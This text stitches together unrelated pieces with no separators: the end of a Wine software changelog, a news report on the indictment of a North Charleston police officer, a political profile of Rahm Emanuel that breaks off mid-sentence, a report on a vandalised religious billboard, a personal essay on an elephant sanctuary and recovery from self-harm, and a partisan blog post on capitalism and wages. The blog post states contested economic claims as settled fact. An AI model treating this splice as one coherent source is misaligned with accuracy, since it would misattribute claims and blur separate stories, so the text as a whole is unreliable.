IDirect3DDevice9Impl_GetNPatchMode. ole32: Update comments in compobj.c. kernel32: Fix character count passed to GlobalGetAtomNameW in test_get_atom_name. msvcrt: Fix character count passed into fgetws in test_fileops. cryptnet: Define CERT_REVOCATION_PARA_HAS_EXTRA_FIELDS before including any PSDK headers. include: Make dmusici.h compile when it is included after winspool.h. include: Make exdisp.h compile when included after commdlg.h. include: Add DUMMYUNIONNAME to the anonymous union in the uSTGMEDIUM structure in objidl.idl. include: Add DUMMYUNIONNAME to unions in the _wireVARIANT, TYPEDESC and VARDESC structures in oaidl.idl. oleaut32: Fix a typo in VarTokenizeFormatString. include: Add explicit DUMMYUNIONNAME and DUMMYSTRUCTNAME names to anonymous unions in IDL files. widl: Don't automatically add DUMMYUNIONNAME and DUMMYSTRUCTNAME names to anonymous unions and structs. Roderick Colenbrander (1): wined3d: Degrade an ERR to a TRACE. Roy Shea (2): shell32: Use default system icons if PrivateExtractIconsW in SHGetFileInfoW fails. kernel32/test: Test import entries of a core windows DLL. Stefan Dösinger (3): wined3d: Don't disable arbfp if the pipeline replacement is in. wined3d: Some ARB code fixes. wined3d: Add a test for zenable=false, zwriteenable=false. Steven Edwards (1): widl: Open files in binary mode to avoid corruption from text mode on Windows. Tobias Jakobi (2): wined3d: Fix SHOW_FRAME_MAKEUP debug dump code. wined3d: Fix long int warnings. Vincent Povirk (1): user32: Use the correct bitmap location for MNS_CHECKORBMP. Vitaliy Margolen (4): kernel32: Use FileStandardInformation to get file size. dinput: Replace strdup with HeapAlloc. dinput: Implement DIPROP_KEYNAME property for keyboard device. kernel32: Use NULL attributes if name and SA are not not specified. Vitaly Lipatov (1): wineboot: Do registry update with wineboot --update in any case. -- Alexandre Julliard julliard@winehq.orgA North Charleston, South Carolina police officer was indicted Monday on a charge of murder in connection to the April 4 videotaped shooting of a suspect who took multiple shots to the back while fleeing a traffic stop.
Officer Michael Slager, 33, is accused of murdering Walter Scott, 50, and faces a maximum life term if convicted. The shooting, captured on film by a bystander's mobile phone, prompted widespread protests. What's more, it placed renewed attention to a YouTube society that has become fixated on filming police activity and uploading that footage to the Internet for all the public to see.
Scarlett Wilson, solicitor for the Ninth Judicial Circuit, told a news conference that the video alone wasn't enough evidence for the grand jury indictment.
Further Reading Man who filmed cop killing fleeing suspect says an officer “told me to stop”
"Just because you have video in this case, it doesn't mean it's the be-all and end-all," she said.
The defendant's attorney has not seen the state's case that led to Monday's grand jury indictment.
"We remain at a disadvantage in addressing any questions," defense attorney Andy Savage said in a statement. "Until we have an opportunity to fully evaluate the state’s case and to compare it with our own investigation, we will not be commenting."
Slater remains jailed without bail. The victim's family said it intends to file a civil rights lawsuit soon.
Despite the global media coverage, there's more to the case than meets the eye. Beyond police abuse and incidents caught on video, this case blends death penalty politics and copyright issues. Feidin Santana, the 23-year-old South Carolina man who filmed the shooting as he walked to work, said an officer that arrived on scene moments after the incident demanded that he stop recording. Santana said he then left the scene for work at a nearby barber job. He said he refused to abide by police orders to stay put as well. Regarding copyright, a Santana representative said he is charging a $10,000 fee or more to carry footage of the shooting, and he has sent cease-and-desist letters to some media outlets. Ars has embedded the YouTube video displayed above.
Further Reading Cop who shot fleeing suspect not eligible for lethal injection
Wilson, the prosecutor, has said Slager is not eligible for the death penalty. "Based on the facts revealed thus far, it does not appear South Carolina's death penalty provision applies in this case because there are no statutory 'aggravating circumstances' present," Wilson said in the shooting's aftermath.
As Ars has previously reported, there are 22 such circumstances under the law, including committing murder in the commission of another felony, such as rape, robbery, kidnapping. Condemned inmates in South Carolina are executed via lethal injection.To appreciate the sheer reach of the Emanuel legend, one need look no further than the upper rungs of the Obama administration. “Everyone in government believes they’re working for Rahm,” one Obama official recently told me. “If I were a cabinet secretary, and Rahm called me up and said, ‘I think you should go left,’ I would go left.” This official recalls once having a casual conversation in economic adviser Larry Summers’s West Wing office, when Emanuel popped his head in. Both men stopped talking and reflexively stiffened. “He was not coming in to shoot the shit--‘Hey guys, what are you doing this weekend?’” this official says. “You sat up, paid attention. He has that way about him.”
At 50, Emanuel has the lean, taut look of a lifelong swimmer, with broad shoulders and distractingly prominent quadriceps. But at the heart of the Emanuel mystique is the family patois, which lurches between pronounced curtness and vivid, sometimes scatological, imagery. Emanuel will casually toss off quips like, “You’re in the bowels of nothin,’ man.” One former colleague recalls making two or three requests during a sensitive negotiation, only to have Emanuel respond: “Well, I guess if I can take care of Bill Clinton’s blow jobs, I can take care of that.”
And then there are the f-bombs, which Emanuel reels off like a verbal tic, sometimes embedding them in other words with Germanic aplomb. There is, for example, “Fucknutsville” (his pet name for Washington) and “knucklefuck” (an honorific bestowed on Republican opponents). In administration meetings, Emanuel will occasionally announce, “I think it’s fucking idiotic, but it’s your call.” (That would be Rahm-speak for: “You have more expertise than I do on this subject.”) He’s even been known to use the imprecation as a term of endearment, as when he signs off friendly phone calls: “Fuck you. See you later. I love you.” As Phil Kellam, one of Emanuel’s star recruits from the 2006 election cycle, recently joked to me, “If you could sum up Rahm Emanuel, it would be: big ideas, big mouth, big heart, little finger.” (Emanuel lost half his middle finger in a teenage accident.)
Among those most fluent in the Emanuel vernacular are members of the Obama economic team, with whom the chief of staff interacts constantly. For example, on February 10, 2009, Treasury Secretary Timothy Geithner delivered a speech laying out the various steps he would take to revive the financial system. The pundits promptly panned it, and the markets began to swoon. Both had expected Geithner to deliver a detailed set of remedies; instead, the secretary offered only the broad contours of a strategy.
Emanuel went ballistic. “He was like, ‘How could they have let expectations get so out of whack?’” recalls one official. Soon after, he began to take a special interest in Geithner’s work--in the way that a Jewish mother can be said to take a special interest in her son’s romantic life.
A quick review of Geithner’s schedule from one week last February will illustrate the point. On four of the five days, Geithner attended a White House senior staff meeting from 8:15 a.m. to 8:45 a.m., which Emanuel runs. In addition to this, Geithner joined a conference call with Emanuel and Larry Summers on the afternoon of Monday, February 16. On Tuesday, Geithner had a call with Emanuel scheduled from 8:30 p.m. to 9:30 p.m. Wednesday afternoon brought Geithner to an Oval Office meeting with Emanuel, Summers, and the president. This was followed by an hour-long meeting in Emanuel’s office. Geithner was back at the White House Thursday morning for a one-on-one meeting with Emanuel; Emanuel then called that afternoon and spoke to Geithner for 15 minutes. The next morning, it was Geithner who called Emanuel. A few hours later, Geithner turned up for a 90-minute meeting in Emanuel’s office.
When the Treasury Department released Geithner’s schedule last fall, the media made much of his conversations with Wall Street CEOs. But, as one official told me, “the interesting story wasn’t that Tim speaks to bankers--every treasury secretary does. It’s the extent of time he’s on the phone with Rahm.”
And yet, even here, the Cheney-Rove-Rasputin analogy breaks down. Emanuel wasn’t dictating policy to Geithner. Rather, the mantra of the meetings was “no more surprises.” (The president had inadvertently added to Geithner’s February 10 fiasco by talking up the speech beforehand; Emanuel partly blamed himself for the mix-up.) As another official describes it, “Rahm did not spend a lot of time on the ‘What, we have to bail friggin’ AIG out? It’s going to kill us politically.’ He just started making sure everyone was communicating.” Emanuel also wanted to ensure that, as the administration rolled out specific proposals--toxic-asset purchases, relief for troubled homeowners--Treasury sold them preemptively to journalists and Wall Street muckety-mucks.
Granted, as honest brokers go, this chief of staff can be a bit more full-contact than most. The day before Geithner unveiled his asset-purchase plan last March, Emanuel spoke with him five times by phone. Nor is it the case that Emanuel lacks strong preferences. It’s just that these preferences tend to be tactical rather than substantive. And, unlike a Dick Cheney type, they evince a distinct lack of ideology.
Consider, for instance, the suspicion that Emanuel favors a loosely repurposed Republicanism, something you often hear on the left. There is no question that Emanuel has sometimes alienated liberal constituency groups. As a member of Congress, he often recruited pro-gun, anti-abortion candidates to compete in swing districts. He co-authored a book with Bruce Reed, a fellow Clinton alum who now runs the Democratic Leadership Council, proposing centrist ideas like automatic 401(k) enrollment and universal children’s health care. (The latter actually resembles the health-reform “Plan B” circulating through Washington these days.)
But, while Emanuel has long been skeptical of the political merits of a robust liberalism, the problem with the broader ideological critique is that it’s at odds with some of his behavior. As early as the transition, according to several administration officials, Emanuel was adamant that reform of the financial sector proceed immediately. He insisted it simply wasn’t politically viable to pump hundreds of billions of dollars into the banks without showing voters that they wouldn’t have to ante up all over again a few years hence. Geithner objected that fast-tracking reform would only create more uncertainty and could paralyze the financial system. And there were legitimate considerations on both sides. But, suffice it to say, no one out to coddle the banks would have taken Emanuel’s position.
Perhaps more to the point, unlike Cheney and Rove, Emanuel manages to lose an awful lot of internal battles for someone with an ostensible vise grip on the presidency. In the end, the financial overhaul plans did slide by a few months. Emanuel also famously disagreed with Attorney General Eric Holder’s decision to prosecute September 11 mastermind Khalid Sheikh Mohammed in civilian court, brooding that it would alienate South Carolina Senator Lindsey Graham, a potential Republican ally. He had reservations about the size of the buildup in Afghanistan, which he worried could turn into a military (and therefore political) quagmire. On health care, Emanuel was one of several senior White House aides who were skeptical of pushing a comprehensive bill last year. Emanuel didn’t even entirely win on economic personnel. He favored sending Summers back to Treasury, until the president hit it off with Geithner and offered him the top job.
When Barack Obama won his U.S. Senate primary back in March 2004, the campaign suddenly required a whole new level of sophistication. The campaign manager at the time was a skilled, if little known operative named Jim Cauley, who realized the situation had changed and offered to step aside. Obama declined--even then, it wasn’t his style to fire people. But he didn’t exactly send Cauley a ringing endorsement, either. What he sent him was Rahm Emanuel.
Though Emanuel had generally been aloof from the campaign, he was a longtime friend of Obama’s chief strategist, David Axelrod. So, with another Obama confidant, Valerie Jarrett, at his side, Emanuel spent two hours grilling Cauley about every facet of the upcoming race: how he would raise enough money, hire the right employees, beef up the turnout operation. The unmistakable message was that the Obama high command wasn’t sure Cauley was up to the job. “He was very, ‘Jimmy, pick your game up,’” Cauley says. “Everyone understood where we were.”
For Emanuel, the assignment would in some ways foreshadow his role in Obamaland: He was not exactly of Team Obama, like Axelrod and Robert Gibbs, who’d arrived just after the primary to oversee communications strategy. But he was sometimes enlisted by Team Obama to perform the tasks the candidate was loath to perform himself.
The pattern would persist once Obama arrived in the U.S. Senate--Emanuel would even remark on it. By 2006, Emanuel was running the Democratic Congressional Campaign Committee (DCCC) and Obama had become an Illinois power broker. Both men waded into a Democratic primary for a Chicago-area House seat. The race pitted Christine Cegelis, a darling of liberal activists, against Tammy Duckworth, an Iraq veteran who’d lost both legs in the war and had been recruited by the party establishment. When Duckworth narrowly won the primary, the activists singled out Emanuel for special abuse, and he was quick to hit back. “I try to expand the playing field, and then it’s, ‘Oh, he’s bigfooting,’” he protested, according to an entertaining book about the 2006 elections by The Wall Street Journal’s Naftali Bendavid. “You think Obama wasn’t involved? [Illinois Senator Dick] Durbin? But who gets blamed? Me. Tough guy Rahm. No one wants to blame Barack, because he is who he is. So fuck you.”
As Obama closed in on the presidency, he and his top aides turned to Obamaland’s unofficial head-knocker for the role of chief of staff. Recent Democratic presidents had made the mistake of choosing a sentimental candidate--as Clinton did in hiring his childhood friend, Mack McLarty. Obama had the wherewithal to resist this trap. “Really smart people know their strengths and weaknesses,” an administration official recently told me. “The president knows his own weaknesses. Being the heavy is not his strong suit.”
Emanuel not only had the right sensibility. His loyalty and Washington know-how were beyond question. But the very same reasons Obama needed Emanuel also made it a less-than-seamless fit.
The president-elect, after all, stood for a new era of post-partisanship and good government as much as any particular policy goal. His top campaign aides were exquisitely attuned to the strength of his personal brand. Emanuel, by contrast, was a born vote counter--an exponent of the view that civic republicanism plus 49 senators gets you exactly... nothing. “Those guys still have a campaign mentality,” one administration official recently told me, referring to Axelrod and Gibbs. “It’s not as clean as I’m describing it, but they’re naturally protective of the guy--of the things he said and did on the campaign. There’s a core tension between cleaning up Washington and getting stuff done. And Rahm is a gets-stuff-done person.”
This is, in many respects, as it should be. A presidency must stand for something more than notching victories, and the two powerful aides are well aware of this. “I’ve always found that my job is to try and make sure that what we communicate is faithful to who the president is, what his values and beliefs are,” Axelrod says. Likewise, the debate between those who tend to a president’s campaign themes and those who might downplay them is often a healthy one. Nevertheless, there have been moments when these same tensions--or, more precisely, the president’s unwillingness to resolve them--have set back the administration agenda.
Last summer, as public support for health care reform began to recede, the president convened a series of meetings demanding to know why Democrats were losing the communications war. For his part, Axelrod argued that the administration lacked a compelling bad guy, having cut deals and observed cease-fires with industry lobbies to help ease the bill through Congress. “Axelrod would say, ‘We don’t have an enemy. During the campaign, we fought against insurance companies. Now we don’t have one,’” recalls one administration official. Emanuel would invariably counter that the deals were essential to holding the package together. Jeopardize the deals, and you risked jeopardizing the whole project.
From the very beginning, Emanuel had a clean, elegant theory for how to guide a health care bill through Congress. He’d closely studied each previous failure from Harry Truman to Bill Clinton and concluded that time was their biggest enemy. Because remaking the health care system is such a complex task, it necessarily requires complex legislation. And there hasn’t been a 1,000-page–plus bill in history that didn’t start to stink after several months. It’s just too easy for opponents to cull a few smelly details.
So Emanuel placed a premium on speed. He nagged constantly, setting numerous deadlines: for discussions to conclude, for congressional committees to act, for floor votes to be held. He explored a variety of procedural and substantive options so that progress could never be halted. “He never wanted to have a moment where we didn’t have a move,” says one colleague.
The corollary to this theory was that speed required momentum. If the hundreds of players in Congress and the health care industry believed reform would pass, then they would act so as to make that likely. And, if they didn’t believe reform would pass, then that too would become self-fulfilling. So Emanuel not only hashed out agreements with interest groups--he had them trumpeted loudly. He let it be known he was considering reconciliation (a Senate procedure prohibiting a filibuster) so that it loomed over Republicans. Each time another committee passed a health care bill (there were five in all), the White House hailed it as the second coming of the Voting Rights Act.
For the first half of last year, this was almost all you needed to know about the administration’s strategy. Then, in July, the White House faced a key decision. Max Baucus, the chairman of the Senate Finance Committee, probably the most important of the five committees considering health care, had spent months negotiating with his Republican counterpart, Chuck Grassley, with little to show for it. Emanuel was getting antsy. He gathered his top aides and pressed for a way to hurry the process along. The Senate labor committee had produced its own health care bill. Perhaps, Emanuel wondered, Majority Leader Harry Reid could bypass Baucus and bring it to the floor. Or maybe Baucus could just stop bargaining with Grassley and let Reid move a more partisan version of his bill.
But, in the end, Obama himself favored letting Baucus negotiate until September. (Though Axelrod stresses that the president was “just as impatient as Rahm was to get moving.”) In fairness, even internal skeptics believed a bipartisan package might be attainable. The problem was that, overlaid on a strategy based on speed and momentum, the extra two months exacted a major cost. As the Baucus talks lingered, the very same steps Emanuel had taken to build momentum began to weigh on the broader effort. “At the end of the day, the rational person in Ohio is thinking, ‘If Pharma’s for the deal, it must be good for Pharma,’” says one administration official.
This, in turn, forced the administration to make a second fateful call: Should it try to defuse the public backlash by turning on some of the industry groups? Or should it stick with Emanuel’s cooptation strategy and press ahead? Obama ultimately decided on a bit of both.
That same month, to the surprise of the leading insurers, the White House suddenly opened up a rhetorical offensive against them. Once again, the decision was defensible on its own terms. It even produced some short-term p.r. gains. Still, when layered onto the existing strategy, the new offensive created real confusion. At the same time the administration was bashing insurers, it sought to preserve deals with drugmakers and hospitals. The new attacks sent mixed signals not just to the interest groups, but also to the public at large.
It’s a rather remarkable testament to Team Obama (not to mention Nancy Pelosi and Harry Reid) that they managed to shepherd health care through the House and Senate late last year despite these complications. If not for the upset election of Scott Brown in Massachusetts--a development virtually no one inside or outside the White House recognized soon enough to do anything about--Obama would almost certainly have signed the most sweeping domestic policy legislation in a generation by now.
But Brown did win, triggering an agonizing, slow-motion meltdown that has yet to be fully contained. Emanuel himself deserves significant blame for failing to produce a backup plan once Brown seemed likely to win. Instead, chaos reigned in the aftermath of the election. Otherwise levelheaded Democrats, like Barney Frank, suggested reform might be dead. The president himself seemed to hint that the bill would have to be scaled back. It’s possible that no amount of White House intervention could have stanched the frenzy. But, in retrospect, it’s hard to believe there wasn’t an alternative to the post-election leadership vacuum.
Yet, looked at another way, the episode may be the most emphatic vindication of the Emanuel approach one could ever imagine. The fact that Scott Brown is now the forty-first Republican senator is all the proof you need that nothing is certain in politics. In such a world, it’s advisable to finish your business sooner rather than later, and to leave as little to fate as possible. Or, as one administration official summed it up for me: “Everything that happened was confirmation that [Emanuel] was right. It was a high-wire act. Shit happens.”
In February,The Washington Post’s Dana Milbank penned a column defending Emanuel against a rising drumbeat of criticism, including some recent calls for his resignation. The column made several valid points about Emanuel and his value to the president. But it also indulged in caricature. While holding up Emanuel as an all-knowing sage, Milbank dismissed Gibbs as a “hyper-partisan former campaign flack” and Axelrod as a man so “blinded by Obama love” he can't think clearly.
The reaction was immediate and intense--multiple sources told me it had created tension within the White House. It also, in some respects, epitomized the Emanuel dilemma. Contrary to his cut-throat reputation, Emanuel has generally been a team player during his time as chief of staff. He tends to resist cooperation with the dozens of profiles that are written about him. He is quick to defend colleagues from the kvetching of journalists and pundits, and he has thrown himself into major initiatives whose logic he disagrees with. On health care, one administration official told me, “It may not be the thing he wanted to do his whole life. But he put his shoulder to the wheel to get the thing done.” Above all, no one I spoke with for this piece questioned Emanuel’s loyalty to Obama. “I’ve talked to Rahm every day,” says his friend Paul Begala. “In the year and a month, whatever it’s been, I’ve never heard him complain about the president.”
Which raised an intriguing paradox. On the one hand, no one seemed to believe Emanuel had engineered the Milbank piece--even critics conceded that, if nothing else, he was too savvy for such a stunt. Nonetheless, almost all these people believed the Milbank piece was a problem for Emanuel, because |
” that someone would deface the “uplifting message” encouraging people to turn their radio dials to the station. “This is clearly not a circumstance of some teenagers with spray paint. Someone went to a lot of trouble to make it appear that the new text was a real billboard message,” Kelley said of the sign, which stands along I-90 in Brighton.
The “Try God” campaign is running in the Greater Boston area through September 22. The purpose of the campaign is to reach a broad cross-section of the Boston community, according to a statement from the radio station. There are 23 billboards up around Boston on major highways including 93 North in Medford, and 93 South in Dorchester.
Although troubling, Kelley tried to look at the bright side of the situation. “This act, however, is an indication that the ‘Try God’ billboard campaign is attracting attention and making people reflect on the role of God in our lives,” he said, spinning the act of vandalism into a positive message. “That attention is the silver-lining and a sign that the campaign already has been successful.”
Kelley admitted he didn’t understand what the alleged vandals were trying to convey by adding the words “The other WHITE meat” to the plain text on the sign, but Scot Landry, host of The Good Catholic Life radio program at the station said he would guess it is an act against people of faith. “This act of vandalism was certainly not a prank. It should cause us to reflect on the subtle and not-so-subtle ways that hostility is increasing against the practice of faith and against religious expression,” he said. “People of faith, including Catholics, contribute so much to the fabric of our society in the Boston-area, through social service organizations, hospitals, schools and in little acts of service in every community. The message of ‘Try God’ is a hopeful one as it invites everyone, in some way, to connect with a faith community and participate in building a civilization of love.”
There was no indication that any of the other signs along major highways were tampered with.
As of Monday morning, the billboard along the Massachusetts Turnpike had been fixed to reflect its original message.
The announcement about the vandalism on the Archdiocese of Boston’s official Facebook page elicited varying responses, including prayers for those who were behind the gag. Others, however, had a different message for the alleged pranksters: “Hope that person enjoys their little comedy skit while roasting marshmallows in hell,” one person wrote.One of the most significant moments in my life came one afternoon about five months ago, when I was volunteering in an elephant sanctuary in Thailand. I was tidying the park as part of my duties when I came across a beautiful, solitary elephant with a badly deformed front leg. Concerned as to why she was alone and curious about her physical health, I asked a guide.
Kabu was 26 years old, like me. She had been rescued about a year before but sadly never settled with a herd. She had been used for the illegal logging trade since infancy, pulling huge weights up and down steep mountain ravines. During one of these tortuous journeys, a log came loose, rolled into her and badly broke her leg. Forced to continue working, her injury never healed. When Kabu was finally rescued she was weak and traumatised. When she arrived at the park she had tears rolling from her eyes – from relief, said the guide.
Why the Guardian is spending a year reporting on the plight of elephants Read more
Wanting a photograph with her, I stood next to her, as I had done with the other elephants. I was not prepared for what happened next; Kabu mirrored my movement and leant into me. As she moved in closer, I could feel her sheer strength against my body. This gave me a sense of safety and security, so I pressed against her further as if to hug her. Moving closer towards her head, I looked into her dark eyes for several moments, and rubbed the top of her trunk. As she looked back at me, I was amazed. Here was an animal who had gone through unspeakable horrors, yet was still willing to trust and give affection to a human.
We were in the Elephant Nature Park (ENP), a 250-acre sanctuary for rescued Asian elephants like Kabu, founded by award-winning conservationist Lek Chailert (known as the “elephant whisperer”). Chailert was born in a mountain village in northern Thailand and grew up in a family that owned an elephant. From a young age, she was devoted to their care. She witnessed the traumatic circumstances in which many Asian elephants live and set about creating safe spaces for them.
Facebook Twitter Pinterest An elephant is chained while performing in Yangon zoo during a special celebration in front of a crowd. Photograph: Ye Aung Thu/AFP/Getty
It is a little-known fact that Asian elephants are even more endangered than their African cousins. Perhaps just 50,000 are left. In Thailand there are about 6,000, half of which live in captivity. The ancient tradition of capture and domestication not only raises welfare problems, it is also a strain on the dwindling wild stock. On top of this many, some Asian elephants are subjected to a centuries-old domestication ritual known as “the crush”, which breaks the spirit of a baby elephant to make it submit to human control.
Here was an animal who had gone through unspeakable horrors, yet was still willing to trust a human
Animal rights groups report that some elephants in the south-east Asian tourism industry – whether being used for riding or appearing to calmly paint pictures in the street – have gone through some form of the crush. In the most extreme examples of the crush wild calves are separated from their mothers and tied in a pen so constrictive it cannot move or lie down. This treatment may last for several weeks, and observers describe cases where food, water and sleep are restricted, and injuries are inflicted on the animals.
Elephants are highly sentient, evolved animals, who form lifelong relationships with their families. Anyone who has spent any time with these beautiful creatures cannot doubt their sensitivity and intelligence, and the risk of lifelong damage from treatment such as the crush. Some elephants become withdrawn or behave aggressively towards humans – both examples of how psychological damage can be manifested.
Facebook Twitter Pinterest Sangduen ‘Lek’ Chailert, the founder of Chiang Mai’s Elephant Nature Park, sings lullabies to the elephants in her care.
The ethos of the ENP sanctuary, surrounded by rainforest and rivers, is for rescued elephants to roam completely free, for them never to work and to live out their lives in peace, happiness and fun. They form new family bonds, and some even have calves. While it is still visible how much pain and suffering these animals have endured – some are blind and others are too emotionally unpredictable to interact with humans – most of the elephants are relaxed and enjoy their freedom. ENP largely raises money through sponsorship and tourism. Visitors can stay for one day, or volunteer for up to two weeks (as I did).
And how had I ended up here? A few months earlier I had been sitting in therapy, wrestling with conflicting urges to harm myself or to help myself. After experiences of abuse in my childhood, I began self-harming before I was 13. At this particular moment I was wrestling with hallucinations and beliefs that by hurting myself the disturbing images would go away. This time, however, I realised there could be another solution. I needed to do something life-changing, something that would take me out of my own head and into the world.
Anyone who has spent any time with these beautiful creatures cannot doubt their sensitivity and intelligence
I didn’t initially know where to go. But after some research I found the Elephant Nature Park. Being a vegan and animal advocate, I felt it had the right ethos. While both my therapist and my wife were encouraging, they did have some concerns. Would I be well enough to travel far away? Would I be able to stay safe if I encountered anything that triggered urges to self-harm? What if being in such an environment were disheartening as opposed to inspirational, as I hoped? Although I was giddy with excitement about my grand adventure, I had to admit that these were concerns I shared.
It took an overnight train ride from Bangkok to reach Chiang Mai province in northern Thailand, near the border with Burma. On the first day, everyone met at the ENP office in Chiang Mai city centre for registration and transport to the sanctuary itself. Our minivans were equipped with DVDs about how not to get trodden on by an elephant, something which had fleetingly crossed my mind before but was now crystallised as a legitimate possibility.
Facebook Twitter Pinterest ‘Elephants are highly sentient, evolved animals, who form lifelong relationships with their families.’ Photograph: Athit Perawongmetha/Reuters
Upon arrival, 50 or so excitable individuals waited to be paired up with roommates and organised into our volunteering groups. They were a lovely group of various ages from all over the world.
Our first task was unloading the watermelon truck and filling up the “elephant kitchen”. We each got into single file, passing along watermelons from the van to the many giant shelves that housed the elephant food. I was hit with the heady aroma of sweet fruit, and willed my body to adapt to the heat while shifting the heavy loads.
Why the Guardian is spending a year reporting on the plight of elephants Read more
My first elephant encounter was in fact rather unexpected; a sneaky trunk peeking around from the back of the kitchen, curious to identify any chopped up pieces of fruit ready for eating. I instantly knew that this was going to be a wonderful fortnight.
The volunteering itself focuses on providing care for the elephants such as bathing, food preparation (I have seen enough watermelons to last a lifetime), and accompanying them to the vets. Volunteers also look after the park; scooping poop (there is a proper technique to this; shovel from the back of the pile, lift up from the centre) tidying shelters and planting trees.
All of us as volunteers were incredibly touched to have the opportunity to stay here and look after the elephants. My group of new friends and I would come together each meal time with new stories and experiences to share, and certain times of day became graced with new importance: 3pm, time to help bathe the elephants; 4pm, feeding time opposite our own dinner table. It would be unrealistic to say that I did not experience intrusive thoughts or that my hallucinations stopped outright, but I felt no need to act upon them, and my happiness far outweighed any negative emotions. The routine and the socialising was important, but the fact that I was helping these amazing creatures was by far the most important factor.
I think being in such an environment was therapeutic for all. There is a wealth of anecdotal evidence that animal assisted therapy can have a real impact on the social and psychological wellbeing of those struggling from both physical and psychological problems. I have a degree in psychology, and being here highlighted to me that there is a need for more formal studies to be conducted to build up the evidence base.
I have returned from ENP with a renewed sense of wanting to face and survive my own pain, actively working towards giving up self-harm. Although I have had challenging moments, I have not self-harmed once since coming back and I am approaching a year free of self-harm altogether. Kabu continues to be a source of inspiration. If an elephant can go through the crush and survive forced labour without giving up hope and trust, then there is no reason why I cannot overcome my own trauma.
Jake Dorothy lives in Cardiff, United Kingdom, with his wife and rescue cat. He works as a mental health trainer and volunteers for LGBT victim support.
If you have been affected by any of the issues raised this article, the Samaritans in the UK can be contacted on 116 123, Lifeline in Australia on 13 11 14 and in the US, the National Suicide Prevention Hotline is 1800 273 8255.Classical liberalism is very unlike the other ideologies out there such as socialism, nationalism or the centrist mix between the two (national socialism). All these other ideologies are collectivist and they typically adhere to a big welfare state with high taxes and massive government intervention. Classical liberalism represents individualism and therefore requires an entirely different mindset. Those who “convert” from a collectivist ideology to a classical liberal position very rarely change their minds because they represent something fundamentally different. It does however happen, and here is an example of it.
[youtube]http://www.youtube.com/watch?v=N5BoC5qSgbA[/youtube]
A video blogger from Norway tells about his conversion from classical liberalism to communism and then finally ending up in a national socialist position smack in the center of Norwegian politics.
What I find interesting about this video is the reasons he cites for changing his mind, and these reasons are largely economic and factually based. This gives me hope because all the reasons he cites are falsehoods. That is, he has been told marxist myths and economic falsehoods and this has led him to conclude that laissez-faire leads to a bad society. I will therefore respond to the consequentialist reasons in detail. By showing him that the things he has been told are utterly wrong, I hope to re-change his mind back to classical liberalism.
Myth #1: laissez-faire leads to a “race to the bottom”
This guy tells us that without unions the wages and working conditions in society for most people would fall, even back to the level seen in the early parts of the industrial revolution. This is a version of the Marxist “iron law of wages” or “the race to the bottom” as it is sometimes also referred to. The economic principle underlying this iron law can be summarized as follows:
Capital accumulation in a free society (by a minority of capitalists) puts a downward pressure on wages and working conditions because the capitalists get in an ever better negotiation position.
This sounds somewhat plausible, except that it is exactly 180 degrees 100% wrong. In fact, the exact opposite is true and can be stated as follows:
Capital accumulation in a free society (even by a minority of capitalists) puts an upward pressure on wages and working conditions because the capitalists get in an ever worse negotiation position.
This is not immediately obvious and so it needs an explanation. To make this really easy to understand it is best if we start with a super-simple economy consisting of only two products: wheat and cotton. These are continuously produced and demanded by the people participating in the economy. To make it even clearer what is going on we will make it a barter economy. No money is involved, only exchange of goods.
Every year 1 ton of cotton is produced for sale, and 1 ton of wheat is produced for sale. What will roughly the exchange rate between cotton and wheat be? Roughly 1:1. You need approximately 1 kg of cotton to get hold of 1 kg wheat. Totally 1 ton of cotton is exchanged for 1 ton of wheat. So what happens to the exchange rate between cotton and wheat if the amount of wheat produced per year is doubled? Well, since there is now half as much cotton for sale as wheat the exchange rate will be roughly 1:2. In other words, you now need 2 kg of wheat to buy 1 kg of cotton. The price of cotton relative to wheat has risen.
Why? Because wheat has now become a less rare commodity. There is more wheat on the market to be sold and so the producers of wheat now come in a worse negotiation position relative to the cotton producers. In general: the more common a commodity is, the weaker the negotiation position of that commodity, and thus the lower the price it commands.
Let’s now switch our example to the two most important goods in society which are continuously produced, sold and consumed: labor and capital. In a capitalist society the population (and hence labor) growth is pretty low, perhaps around 1%. The accumulation of capital in a capitalist society, however, is much greater, perhaps 5%. So roughly speaking every year capital becomes about 4% less rare than labor. Roughly speaking then there is 4% more capital chasing labor every year, and hence the price of labor — wages — will be pushed up roughly 4% every year. Some of that wage increase is taken out in the form of more vacation, and some is used to improve working conditions.
Essentially this means that labor unions have done virtually nothing to improve working conditions and wages of the working class. All average wage increases are due to capital accumulation and productivity increases, and it is fairly easy to prove this. In Norway around a third of all workers are unionized in the largest union known as the National Union. (Landsorganisasjonen) However, a significant portion of workers are not unionized at all and for some mysterious reason they experience exactly the same wage growth and improvement in working conditions as the unionized workers.
This has greatly annoyed the National Union because the unions believe that they are the cause of wage increases. They are therefore calling the non-unionized workers “free riders” because they allegedly benefit from the agreements negotiated by the National Union. But that is awfully strange, isn’t it? Think about it. Why on earth would businesses be so generous as to simply raise the wages of people who are not in a position to demand a higher wage simply because some other people were in that position? Why do that if they don’t have to? To this the unions have no answer.
But we have already answered the question above: they do have to raise the wages of the non-unionized workers because when there is more capital to chase the limited labor available the businesses are in a worse negotiation position and must pay more for work. This explains all general wage increases.
Myth #2: Child labor, low wages and horrible working conditions were created by capitalism
In the first part of the 19th century there were loads of Oliver Twists running around in the streets of London and other cities. Child labor was common, working conditions were horrible, hours were long and wages were very low compared to what we are used to today. According to an unholy alliance between the upper class feudal lords and Marxists it was capitalism that created these conditions. Yes, you heard me right. The upper class supporters of feudalism were against capitalism and blamed it for poverty. In fact, they hated capitalism, they hated the industrialists who had not inherited their wealth and they wanted to go back to the good old days when all the workers were happily working in the fields of the feudal lords out in the country side.
Hmmmmmm. Doesn’t that strike you as…odd? Why did the filthy rich people who inherited wealth and legal privileges to own land and serfs strongly oppose capitalism? Well, here is a clue: the farmers left the country side voluntarily to take jobs in the city. Why did they do that? Because the industrialists paid so much better wages than the feudal lords. The lords found that they were unable to compete with these industrialists and so they used their significant influence over the culture to slander the industrialists. They did this by painting life in the country as a peach and the work in the cities as horrible and underpaid.
But if that were true, why did the farmers flee the countryside voluntarily to become factory workers in the city? The truth is that there was just as much child labor, hard work and horrible working conditions in the 18th century farm as there was in the factories in the cities. The difference was that industrialists were paying much better, and as capital accumulated the payment increased more and more.
In fact, they paid so much more after a while that child labor was abolished altogether! Imagine that. For 10.000 years there had been child labor in Britain, and then only 50 years after the industrial revolution child labor was mostly gone. The parents now earned so much that they could afford to keep their children at home and send them to school and get an education. And it was entirely due to capitalism. The bad working conditions, child labor and low wages were a remnant of the feudal past inherited, but was displaced by a better life for all in a matter of only 50-100 years. So capitalism did not create poverty, child labor and bad working conditions. On the contrary, it abolished them.
Conclusion
